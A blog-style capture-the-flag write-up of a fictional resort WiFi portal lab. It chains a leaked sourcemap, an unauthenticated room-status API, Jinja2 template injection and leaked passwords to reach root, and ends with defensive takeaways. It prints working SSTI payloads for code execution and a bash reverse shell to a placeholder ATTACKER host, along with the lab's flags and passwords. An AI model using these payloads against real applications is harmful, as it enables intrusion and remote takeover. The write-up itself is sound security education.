August 28, 2026
From a Leaky JS Sourcemap to Root: Breaking “Hack Smarter World” Resort’s WiFi Portal
How an exposed source map, a chatty API, and one unfiltered Jinja2 field turned into full root on a “smart resort” network — plus the flag…
By Hasyyb
7 min read
How an exposed source map, a chatty API, and one unfiltered Jinja2 field turned into full root on a "smart resort" network — plus the flag that made it all worth it.
If you've ever connected to hotel WiFi and clicked "I accept the terms" without a second thought, this one's for you. I spent an evening on the Hack Smarter World — Casino Lab, a guest WiFi portal for a fictional resort, and walked out the other side with root on the box. No single critical bug did it — it was three small, boring mistakes chained together, which honestly is how most real-world breaches happen too.
Here's the full chain, start to finish.
Setting the scene
The target was a "smart resort" guest portal — the kind of captive WiFi page you'd hit in a hotel room, complete with a login screen, a WiFi terms checkbox, and a "Profile & WiFi Settings" page for guests to customize their dashboard greeting. Cosmetically polished. Structurally, not so much.
Step 1: The frontend told me exactly where to look
First stop, as always: view-source on the login page.
Nothing unusual yet — just a reference to /static/js/app.min.js. But minified JS files often ship with a sourcemap reference for debugging, and this one did too:
//# sourceMappingURL=app.min.js.map//# sourceMappingURL=app.min.js.map
Fetching that .map file directly handed me something I wasn't expecting: the original, unminified source, including comments.
Buried in there was this gem:
// Front-Desk Kiosk API verification helper
async function checkRoomStatus(roomNum) {
const res = await fetch('/api/v1/rooms/status?status=occupied');
return await res.json();
}// Front-Desk Kiosk API verification helper
async function checkRoomStatus(roomNum) {
const res = await fetch('/api/v1/rooms/status?status=occupied');
return await res.json();
}An internal "front-desk kiosk" helper function, never called from anywhere a guest should see — but sitting right there in a sourcemap that shipped to every visitor's browser.
Step 2: The "hidden" API had zero authentication
I hit that endpoint directly with curl. No session, no cookie, no auth header — just a raw GET request.
The response was a complete dump of every occupied room at the resort: guest names, room numbers, checkout dates, and membership tiers. This is a textbook Broken Object Level Authorization (BOLA) issue — an endpoint meant for internal kiosk hardware, exposed with no access control whatsoever, leaking real guest data to anyone who could guess (or read a sourcemap for) the URL.
Since the portal's login flow used guest name + room number as the credential pair, this leak wasn't just an information disclosure — it was a full authentication bypass waiting to happen. I picked a guest (Executive Suite, room 500), logged in with their leaked details, and landed straight on their dashboard.
One leaky sourcemap. One unauthenticated API. Full account takeover, no exploit code required.
Step 3: The nickname field that talked back
Every guest's profile page has a "Preferred Display Name / Nickname" field, reflected straight into a Welcome Back, {name}! banner. Reflected input rendered server-side is always worth a poke, so I tried the classic template-injection polyglot.
{{7*7}} came back as 49 — confirming server-side template evaluation, not just HTML reflection.
To pin down the exact engine, {{7*'7'}} is the tell: Jinja2 repeats strings on multiply, so 7*'7' should render as 7777777 if — and only if — this is genuinely Jinja2.
It did. Jinja2, confirmed, zero ambiguity.
Step 4: From "confirmed" to "config dump"
Before jumping straight to command execution, I checked what was reachable from the template's global namespace:
{{config}}{{config}}
That single payload dumped Flask's entire Config object — including the app's SECRET_KEY in plaintext.
Nothing was filtered. No blocked characters, no length cap, no WAF. That's a strong signal to skip the cautious probing and go straight for code execution.
Step 5: RCE, first try
Since config was reachable and unfiltered, I walked its __class__.__init__.__globals__ chain straight to the os module already imported in that scope:
{{config.__class__.__init__.__globals__.os.popen('id').read()}}{{config.__class__.__init__.__globals__.os.popen('id').read()}}
uid=33(www-data) — remote code execution, confirmed. Low-privileged web service account, exactly as expected, but code execution all the same.
Step 6: The part nobody's writeup mentions — background your shell
Getting from "I can run id" to "I have a shell" took a couple of failed attempts I'll admit to. My first reverse-shell payload used os.popen('bash -i >& /dev/tcp/ATTACKER/PORT 0>&1').read(), and it just... hung. Forever.
The reason: bash -i never exits, so popen()'s pipe never closes, so .read() blocks the Flask worker thread indefinitely. The fix is almost embarrassingly small — append & inside the payload to background the process:
{{config.__class__.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" &').read()}}{{config.__class__.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" &').read()}}I also lost time to a completely unrelated problem: my listener was running inside WSL2, whose NAT layer doesn't forward inbound connections arriving on the Windows host's VPN adapter. Moving the listener to native Windows (and clicking "Allow" on the inevitable firewall prompt) fixed it in under a minute. Sometimes the hardest part of "getting a shell" is networking, not exploitation.
Step 7: The user flag, and a goldmine called .bash_history
Once the shell landed, basic enumeration turned up two other user home directories: david and george. george's directory had the user flag sitting right there:
HSM{g3org3_n33ds_b3tt3r_ssh_k3y_p3rms} — and that flag name was a hint I probably should have taken more seriously before reading further, because george's .bash_history was a plaintext transcript of nearly everything he'd done as an admin — including switching to david with a plaintext
password right there in the command:
su david
DavidPass2026!#su david
DavidPass2026!#Shell history is not a secrets vault. sudo -l for david came back empty, but his group membership told a different story:
adm group — meaning read access to system logs that regular users can't normally touch.
Step 8: The log line that ends the engagement
david's own bash history had already pointed at /var/log/provisioning.log, so I checked it with my newly-inherited adm read access.
A [DEBUG]-level log line, left in from what was clearly meant to be a one-time setup script, contained this:
[DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026![DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026!su root, that exact string, and:
Root flag captured. Chain complete.
The chain, in one breath
- A JS sourcemap leaked backend source comments → revealed a hidden "kiosk-only" API endpoint.
- That API had zero authentication → leaked every guest's name, room number, and tier.
- The login system trusted name + room number as credentials → the leak was a full account-takeover primitive.
- A profile field reflected into a template with no output escaping → confirmed Jinja2 SSTI.
- SSTI escalated cleanly to RCE because nothing was filtered.
- A user's own
.bash_historyleaked a second user's plaintext password. - That second user's
admgroup membership gave read access to system logs. - A leftover
[DEBUG]log line leaked the root password in plaintext.
No single step here was exotic. Every one of them is on the OWASP Top 10 or API Security Top 10 in some form. What made the chain work was that none of these issues were caught in isolation — a sourcemap that shouldn't ship to prod, an API that shouldn't trust its caller, a template that shouldn't reflect raw input, a history file that shouldn't outlive its session, and a debug log statement that should never have been written in the first place.
Takeaways, for defenders reading this instead of attackers
- Strip sourcemaps from production builds, or at minimum audit what comments and internal function names ship inside them.
- Never trust client-guessable identifiers (like a room number) as a credential — especially when another endpoint leaks exactly those identifiers.
- Sanitize or avoid
render_template_string-style reflection of user input entirely; if a nickname needs to render, it should never touch the template engine's parser. - Set
DEBUG = Falseeverywhere it counts — but also audit what your logging statements capture. A[DEBUG]tag doesn't stop a log aggregator (or an attacker withadmaccess) from reading it. - Rotate and purge shell history on service accounts, and never type a plaintext password as a command-line argument or inline in a
susequence.
If you made it this far — thanks for reading. If you're working through this lab yourself, I'd say: read every sourcemap you find, question every field that echoes your own input back at you, and never assume a debug log is actually harmless.
Lab: Hack Smarter World — Casino Lab. Target class: guest WiFi captive portal / smart-resort simulation.